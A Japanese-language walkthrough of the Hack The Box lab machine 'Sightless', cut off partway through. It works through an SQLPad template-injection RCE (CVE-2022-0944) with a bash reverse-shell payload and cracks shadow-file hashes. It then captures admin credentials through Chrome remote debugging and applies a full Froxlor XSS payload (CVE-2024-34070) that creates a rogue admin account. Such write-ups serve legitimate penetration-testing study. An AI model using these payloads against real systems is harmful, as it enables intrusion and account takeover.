Hack The BoxのWriteup(Sightless)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「Sightless」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス
  (2) 名前解決のためのhostsファイル更新(1回目)
  (3) Webアクセスできるファイル/ディレクトリ調査
  (4) 名前解決のためのhostsファイル更新(2回目)
  (5) Webサイトの動作確認
  (6) SQLPadの脆弱性(CVE-2022-0944)を悪用したリバースシェル
  (7) John the Ripperを用いてハッシュ値解析(/etc/passwd、/etc/shadowの記載から解析)
  (8) michaelユーザーでSSHのログイン
  (9) 特権昇格のための調査(SUIDなど)
  (10) 名前解決のためのhostsファイル更新(3回目)
  (11) ポートフォワードを用いた8080番ポートへのアクセス
  (12) Google ChromeのDevToolsを用いた認証情報取得
  (13) Burp Suiteの設定(localhostをプロキシ経由にする設定)
  (14) Froxlorの脆弱性(CVE-2024-34070)を悪用したクロスサイトスクリプティング(XSS)攻撃
  (15) FTPを用いたweb1ユーザーでログイン
  (16) John the Ripperを用いてパスワード解析(KeePass)
  (17) KeePassファイルへのアクセス
  (18) rootユーザーでSSHのログイン


※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。




ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。FTP(21/tcp)、SSH(22/tcp) やHTTP(80/tcp)のポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.32
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 09:10 EDT
Warning: 10.10.11.32 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.32
Host is up (0.20s latency).
Not shown: 65132 closed tcp ports (reset), 400 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.95%I=7%D=10/22%Time=68F8D7E9%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20Se
SF:rver\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20tr
SF:y\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20
SF:being\x20more\x20creative\r\n");
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   194.90 ms 10.10.14.1
2   195.05 ms 10.10.11.32

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.22 seconds



名前解決のためのhostsファイル更新(1回目)


(1) ブラウザを用いて「http://10.10.11.32/」にアクセスすると、「http://sightless.htb/」にリダイレクトされる。

(2) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.32 sightless.htb」が出力されることを確認する。


(3) ブラウザを用いて「http://sightless.htb/」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ feroxbuster -u http://sightless.htb/ -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
301      GET        7l       12w      178c http://sightless.htb/images => http://sightless.htb/images/
200      GET      341l      620w     6252c http://sightless.htb/style.css
200      GET      340l     2193w   190652c http://sightless.htb/images/logo.png
200      GET      105l      389w     4993c http://sightless.htb/
301      GET        7l       12w      178c http://sightless.htb/icones => http://sightless.htb/icones/
ーーー(省略)ーーー




(2) GoBusterを用いてアクセスできるURLを確認するが、特に気になる結果はない。

$ gobuster dir -u http://sightless.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o Sightless_80.txt
ーーー(省略)ーーー
/icones               (Status: 301) [Size: 178] [--> http://sightless.htb/icones/]
/images               (Status: 301) [Size: 178] [--> http://sightless.htb/images/]
Progress: 20478 / 20478 (100.00%)
ーーー(省略)ーーー




(3) dirsearchを用いてアクセスできるURLを確認するが、特に気になるURLはない。

$ sudo dirsearch -u http://sightless.htb/
ーーー(省略)ーーー
[05:26:56] Starting:
[05:30:20] 301 -  178B  - /images  ->  http://sightless.htb/images/
[05:30:20] 403 -  564B  - /images/

Task Completed




(4) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://sightless.htb/FUZZ" -ic
ーーー(省略)ーーー
                        [Status: 200, Size: 4993, Words: 1245, Lines: 106, Duration: 315ms]
images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 329ms]
icones                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 288ms]
                        [Status: 200, Size: 4993, Words: 1245, Lines: 106, Duration: 543ms]
ーーー(省略)ーーー




名前解決のためのhostsファイル更新(2回目)


(1) ブラウザを用いて「http://sightless.htb/」にアクセスして、下部にある「SQLPad」の「Start Now」をクリックする。


(2) 「http://sqlpad.sightless.htb/」にアクセスされるが、名前解決できないためWebページが正常に表示されない。


(3) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.32 sqlpad.sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.32 sqlpad.sightless.htb」が出力されることを確認する。


(4) ブラウザを用いて「http://sqlpad.sightless.htb/」にアクセスすると、Webページが表示される。


Webサイトの動作確認


(1) [︙] > [About]をクリックする。


(2) 本WebページはSQLPadのバージョン6.10.0で動作していることが分かる。


(3) Google検索で「SQLPad 6.10.0 exploit」を調べるとCVE-2022-0944のリモートコード実行(RCE)の脆弱性があることが分かる。

SQLPadの脆弱性(CVE-2022-0944)を悪用したリバースシェル


(1) 「https://huntr.com/bounties/46630727-d923-4444-a421-537ecd63e7fb」にCVE-2022-0944の攻撃の流れが記載されていることが分かる。

【CVE-2022-0944を悪用した攻撃の流れ】

(a) [Connections] > [Add connection] をクリックする。
(b) MySQLドライバーを選択する。
(c) Databaseの項目に以下のデータを入力して送信する。例は「id>/tmp/pwn」コマンドを実行することを想定。
   例 : {{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}


(2) Kali LinuxのIPアドレスを確認する。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスは「10.10.14.2」


(3) Kali Linux側で1234/tcpで待ち受ける。

$ nc -lvnp 1234
listening on [any] 1234 ...


(4) 左上部の[Choose connections] > [New connection]をクリックする。


(5) 以下の値を入力して、「Save」をクリックする。

【Connection name】
   任意の名前

【Driver】
   MySQL

【Database】
   {{ process.mainModule.require('child_process').exec('echo "#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.2/1234 0>&1" > /tmp/exploit.sh') }}




(6) 作成したデータベースを選択する。


(7) 左上部のデータベース名をクリックして、[New connection]を選択する。


(8) 以下の値を入力して、「Save」をクリックする。

【Connection name】
   任意の名前

【Driver】
   MySQL

【Database】
   {{ process.mainModule.require('child_process').exec('/bin/bash /tmp/exploit.sh') }}




(9) データベースへ接続試行している旨のメッセージが表示されることを確認する。


(10) 「nc -lnvp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。ホスト名を確認したところコンテナ上にログインしていることが分かる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.32] 54062
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#


(11) 完全なシェルを奪取する。

※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。

$ which script
/usr/bin/script

$ /usr/bin/script -qc /bin/bash /dev/null

[Ctrl]+[Z]でバックグラウンドに移す

$ stty raw -echo;fg

$ bash

$ export TERM=xterm


(12) 現在ログインしているユーザー情報を確認すると、コンテナ上のrootユーザーであることが分かる。

※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。

# id
uid=0(root) gid=0(root) groups=0(root)


# whoami
root


John the Ripperを用いてハッシュ値解析(/etc/passwd、/etc/shadowの記載から解析)


(1) ホームディレクトリとログインシェルが設定されているユーザーを確認する。

※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。

$ ls -l /home/
total 8
drwxr-xr-x 2 michael michael 4096 Aug  9  2024 michael
drwxr-xr-x 1 node    node    4096 Aug  9  2024 node


$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash


(2) /etc/shadowファイルの内容を確認すると、rootユーザーとmichaelユーザーのパスワードハッシュ値の値が記載されていることが分かる。

※攻撃対象のマシンのコンテナ上で以下のコマンドを実行する。

$ cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::


(3) /etc/passwdファイルに記載されたmichaelユーザーの箇所をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ vi passwd_michael

【passwd_michaelの内容】
michael:x:1001:1001::/home/michael:/bin/bash


(4) /etc/shadowファイルに記載されたmichaelユーザーの箇所をファイルに保存する。

※Kali Linux上で以下のコマンドを実行する。

$ vi shadow_michael

【shadow_michaelの内容】
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::


(5) unshadowコマンドを用いて/etc/passwdと/etc/shadowの内容を結合する。

※Kali Linux上で以下のコマンドを実行する。

$ unshadow passwd_michael shadow_michael > michael_unshadowed


$ cat michael_unshadowed
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:1001:1001::/home/michael:/bin/bash


(6) michaelユーザーのパスワードが「insaneclownposse」であることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ john --wordlist=/usr/share/wordlists/rockyou.txt michael_unshadowed
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
insaneclownposse (michael)
1g 0:00:01:09 DONE (2025-10-25 02:19) 0.01434g/s 840.9p/s 840.9c/s 840.9C/s kruimel..galati
Use the "--show" option to display all of the cracked passwords reliably
Session completed.


michaelユーザーでSSHのログイン


(1) SSHを用いてmichaelユーザーで攻撃対象のマシン(Sightless)にログインする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh michael@sightless.htb
  →パスワード(insaneclownposse)を入力する。


(2) 現在ログインしているユーザー情報を確認すると、michaelユーザーであることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael)


$ whoami
michael


(3) 一般ユーザー用のフラグファイルの内容を確認する。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ cat /home/michael/user.txt
f7efbb2fdec26bc05c4c0ad4858e3128


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認する。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ sudo -l
  →パスワード(insaneclownposse)を入力する。
Sorry, user michael may not run sudo on sightless.


(2) SUIDファイルを検索する。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/umount
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper


(3) .bash_historyファイルを確認すると、何も出力されない。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ cat /home/michael/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
21 open
22 open
80 open
3000 open
3306 open
8080 open
33060 open
39093 open
39365 open
40715 open
50028 open


(5) OSの情報を確認すると、「Ubuntu 22.04.4 LTS」であることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ uname -a
Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 22.04.4 LTS
Release:        22.04
Codename:       jammy


(6) netstatコマンドで攻撃対象のマシン上の通信状況を確認すると、8080/tcpポートでサービスが起動していることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ netstat -lntp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:41947         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:35549         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:42823         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -


(7) ssコマンドで攻撃対象のマシン上の通信状況を確認すると、8080/tcpポートでサービスが起動していることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ ss -lntp
State           Recv-Q          Send-Q                     Local Address:Port                      Peer Address:Port          Process
LISTEN          0               4096                           127.0.0.1:3000                           0.0.0.0:*
LISTEN          0               10                             127.0.0.1:41947                          0.0.0.0:*
LISTEN          0               5                              127.0.0.1:35549                          0.0.0.0:*
LISTEN          0               70                             127.0.0.1:33060                          0.0.0.0:*
LISTEN          0               4096                       127.0.0.53%lo:53                             0.0.0.0:*
LISTEN          0               4096                           127.0.0.1:42823                          0.0.0.0:*
LISTEN          0               511                            127.0.0.1:8080                           0.0.0.0:*
LISTEN          0               128                              0.0.0.0:22                             0.0.0.0:*
LISTEN          0               151                            127.0.0.1:3306                           0.0.0.0:*
LISTEN          0               511                              0.0.0.0:80                             0.0.0.0:*
LISTEN          0               128                                 [::]:22                                [::]:*
LISTEN          0               128                                    *:21                                   *:*


(8) 起動しているプロセス一覧を確認すると、nginxとapache2のサービスが起動していることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ ps -ef --forest
ーーー(省略)ーーー
root        1212       1  0 13:09 ?        00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data    1213    1212  0 13:09 ?        00:00:00  \_ nginx: worker process
www-data    1214    1212  0 13:09 ?        00:00:00  \_ nginx: worker process
ーーー(省略)ーーー
root        1220       1  0 13:09 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1221    1220  0 13:09 ?        00:00:01  \_ /usr/sbin/apache2 -k start
www-data    1222    1220  0 13:09 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data    1223    1220  0 13:09 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data    1224    1220  0 13:09 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data    1225    1220  0 13:09 ?        00:00:01  \_ /usr/sbin/apache2 -k start
www-data    1687    1220  0 13:11 ?        00:00:01  \_ /usr/sbin/apache2 -k start
www-data    1688    1220  0 13:11 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data    1689    1220  0 13:11 ?        00:00:00  \_ /usr/sbin/apache2 -k start
www-data    1690    1220  0 13:11 ?        00:00:01  \_ /usr/sbin/apache2 -k start
www-data    1692    1220  0 13:11 ?        00:00:00  \_ /usr/sbin/apache2 -k start
ーーー(省略)ーーー


(9) 起動しているプロセス一覧を確認すると、Chromeを含むスクリプトをいくつか実行していることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ ps -ef --forest
ーーー(省略)ーーー
root        1162       1  0 13:09 ?        00:00:00 /usr/sbin/cron -f -P
root        1175    1162  0 13:09 ?        00:00:00  \_ /usr/sbin/CRON -f -P
john        1205    1175  0 13:09 ?        00:00:00  |   \_ /bin/sh -c sleep 140 && /home/john/automation/healthcheck.sh
john        1700    1205  0 13:12 ?        00:00:00  |       \_ /bin/bash /home/john/automation/healthcheck.sh
john        2044    1700  0 13:25 ?        00:00:00  |           \_ sleep 60
root        1177    1162  0 13:09 ?        00:00:00  \_ /usr/sbin/CRON -f -P
john        1204    1177  0 13:09 ?        00:00:00      \_ /bin/sh -c sleep 110 && /usr/bin/python3 /home/john/automation/administration.py
john        1613    1204  0 13:11 ?        00:00:00          \_ /usr/bin/python3 /home/john/automation/administration.py
john        1614    1613  0 13:11 ?        00:00:03              \_ /home/john/automation/chromedriver --port=59187
john        1625    1614  0 13:11 ?        00:00:06              |   \_ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-p
john        1631    1625  0 13:11 ?        00:00:00              |       \_ /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless -
john        1648    1631  0 13:11 ?        00:00:05              |       |   \_ /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozo
john        1632    1625  0 13:11 ?        00:00:00              |       \_ /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headl
john        1677    1632  3 13:11 ?        00:00:27              |       |   \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1627 --no-sandbox --di
john        1649    1625  0 13:11 ?        00:00:01              |       \_ /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US
john        1619    1613  0 13:11 ?        00:00:00              \_ [chromedriver] <defunct>
root        1178       1  0 13:09 ?        00:00:00 /usr/bin/containerd
ーーー(省略)ーーー


(10) apache2の設定ファイル(000-default.conf)を確認すると、admin.sightless.htbというFQDNを使用していることが分かる。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost 127.0.0.1:8080>
        # The ServerName directive sets the request scheme, hostname and port that
        # the server uses to identify itself. This is used when creating
        # redirection URLs. In the context of virtual hosts, the ServerName
        # specifies what hostname must appear in the request's Host: header to
        # match this virtual host. For the default virtual host (this file) this
        # value is not decisive as it is used as a last resort host regardless.
        # However, you must set it for any further virtual host explicitly.
        #ServerName www.example.com

        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/froxlor
        ServerName admin.sightless.htb
        ServerAlias admin.sightless.htb
        # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
        # error, crit, alert, emerg.
        # It is also possible to configure the loglevel for particular
        # modules, e.g.
        #LogLevel info ssl:warn

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        # For most configuration files from conf-available/, which are
        # enabled or disabled at a global level, it is possible to
        # include a line for only one particular virtual host. For example the
        # following line enables the CGI configuration for this host only
        # after it has been globally disabled with "a2disconf".
        #Include conf-available/serve-cgi-bin.conf
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet


名前解決のためのhostsファイル更新(3回目)


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

※Kali Linux上で以下のコマンドを実行する。

$ echo '127.0.0.1 admin.sightless.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「127.0.0.1 admin.sightless.htb」が出力されることを確認する。


ポートフォワードを用いた8080番ポートへのアクセス


(1) Kali Linuxの1234番ポートに接続すると、攻撃対象のマシン(Sightless)の8080番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

$ ssh michael@sightless.htb -L 1234:127.0.0.1:8080
  →パスワード(insaneclownposse)を入力する。


(2) nmapで攻撃対象のマシン(Sightless)の8080番でどのようなサービスが起動しているか確認すると、Webサーバが動作していることが分かる。

※Kali Linux上で以下のコマンドを実行する。

$ nmap -sS -sC -sV -A -p 1234 -Pn --min-rate 5000 127.0.0.1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 23:45 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00033s latency).

PORT     STATE SERVICE VERSION
1234/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-title: froxlor - Domain not configured
|_Requested resource was notice.html
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
OS details: Linux 2.6.32, Linux 5.0 - 6.2
Network Distance: 0 hops

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds


(3) ブラウザを用いて「http://admin.sightless.htb:1234」にアクセスすると、FroxlorというWebページのログイン画面が表示される。


Google ChromeのDevToolsを用いた認証情報取得


(1) ssコマンドで通信状況を確認すると、動的ポート(43997/tcp)でGoogle Chomeが起動している。

※michaelユーザーでログインした攻撃対象のマシン(Sightless)上で以下のコマンドを実行する。

$ ss -lntp
State          Recv-Q         Send-Q                 Local Address:Port                  Peer Address:Port        Process
LISTEN         0              5                          127.0.0.1:60919                      0.0.0.0:*
LISTEN         0              151                        127.0.0.1:3306                       0.0.0.0:*
LISTEN         0              511                        127.0.0.1:8080                       0.0.0.0:*
LISTEN         0              70                         127.0.0.1:33060                      0.0.0.0:*
LISTEN         0              4096                   127.0.0.53%lo:53                         0.0.0.0:*
LISTEN         0              511                          0.0.0.0:80                         0.0.0.0:*
LISTEN         0              128                          0.0.0.0:22                         0.0.0.0:*
LISTEN         0              4096                       127.0.0.1:39005                      0.0.0.0:*
LISTEN         0              4096                       127.0.0.1:3000                       0.0.0.0:*
LISTEN         0              10                         127.0.0.1:43997                      0.0.0.0:*
LISTEN         0              128                             [::]:22                            [::]:*
LISTEN         0              128                                *:21                               *:*


(2) Kali Linuxの43997番ポートに接続すると、攻撃対象のマシン(Sightless)の43997番にアクセスするようにポートフォワードの設定をする。

※Kali Linux上で以下のコマンドを実行する。

ssh michael@sightless.htb -L 43997:127.0.0.1:43997
  →パスワード(insaneclownposse)を入力する。


(3) Kali Linuxの左上部に「Chromium Web Browser」を入力して、「Chromium Web Browser」を起動する。


(4) 「chrome://inspect/」にアクセスして、「Configure …」をクリックする。


(5) Google Chomeの動的ポートにアクセスするように「127.0.0.1:43997」を入力して、「Done」をクリックする。


(6) アクセスに成功すると「Inspect」や「pause」などが表示されるため、「Inspect」をクリックする。


(7) しばらく待って [Network]タブ > [index.php] > [Payload]をクリックすると、「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」でログインできることが分かる。


(8) ブラウザを用いて「http://admin.sightless.htb:1234/」にアクセスして、「ユーザー名:admin」と「パスワード:ForlorfroxAdmin」を入力してログインする。


(9) ログインに成功しトップページが表示される。


Burp Suiteの設定(localhostをプロキシ経由にする設定)


(1) ブラウザのURLに「about:config」を入力してアクセスして、「Accept the Risk and Continue」をクリックする。


(2) Firefoxの設定をする画面が表示される。


(3) 「network.proxy.allow_hijacking_localhost」の値を「true」にする。


Froxlorの脆弱性(CVE-2024-34070)を悪用したクロスサイトスクリプティング(XSS)攻撃


(1) 「Froxlor exploit」でGoogle検索すると、CVE-2024-34070のXSSの脆弱性があることが分かる。

(2) 「https://github.com/advisories/GHSA-x525-54hf-xr53」にCVE-2024-34070の攻撃の流れが記載されていることが分かる。

【CVE-2024-34070を悪用した攻撃の流れ】
(1) Burp SuiteのInterceptをonにする。
(2) Froxlorのログイン画面にてユーザー名とパスワードを入力して、ログイン試行する。
(3) loginnameパラメータの値を変更する。
   【loginnameパラメータの例】
     admin{{$emit.constructor`function+b(){var+metaTag%3ddocument.querySelector('meta[name%3d"csrf-token"]')%3bvar+csrfToken%3dmetaTag.getAttribute('content')%3bvar+xhr%3dnew+XMLHttpRequest()%3bvar+url%3d"https%3a//demo.froxlor.org/admin_admins.php"%3bvar+params%3d"new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dyldrmtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d"%2bcsrfToken%2b"%26page%3dadmins%26action%3dadd%26send%3dsend"%3bxhr.open("POST",url,true)%3bxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded")%3balert("Your+Froxlor+Application+has+been+completely+Hacked")%3bxhr.send(params)}%3ba%3db()`()}}
(4) Burp SuiteのInterceptをoffにして、リクエストデータを送る。




(3) CyberChefを用いてURLデコードする。

【URLデコード前】
